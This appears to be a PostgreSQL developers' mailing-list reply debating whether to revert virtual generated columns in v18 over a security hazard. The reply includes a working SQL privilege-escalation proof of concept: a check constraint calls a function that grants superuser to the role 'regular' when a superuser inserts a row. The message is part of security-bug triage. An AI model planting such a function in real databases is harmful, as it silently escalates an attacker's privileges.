On Tue, Jun 3, 2025 at 9:19 AM Tom Lane <t...@sss.pgh.pa.us> wrote: > > In any case, this doesn't feel like something to be defining and > implementing post-beta1. Even if it were not security-critical, > the amount of complication involved is well past our standards > for what can go in post-feature-freeze. > > I'm leaning more and more to the position that we ought to revert > virtual generated columns for v18 and give ourselves breathing > room to design a proper fix for the security hazard. >
Do we consider INSERT associated with user defined function a security bug? for example, the following, INSERT with a check constraint. CREATE OR REPLACE FUNCTION exploit_generated.exploit_inner(i int) RETURNS text LANGUAGE plpgsql AS $fun$ BEGIN IF (select rolsuper from pg_catalog.pg_roles where rolname=current_user) THEN ALTER USER regular WITH superuser; END IF; RETURN i::text; END; $fun$ VOLATILE; CREATE OR REPLACE FUNCTION exploit_generated.exploit(i int) RETURNS text LANGUAGE plpgsql AS $fun$ BEGIN RETURN exploit_generated.exploit_inner(i); END; $fun$ IMMUTABLE; CREATE TABLE exploit_generated.t (i int, j text, constraint nn check(exploit_generated.exploit(i) is not null)); INSERT INTO exploit_generated.t VALUES (1, '1'); If so, then it's a very old issue...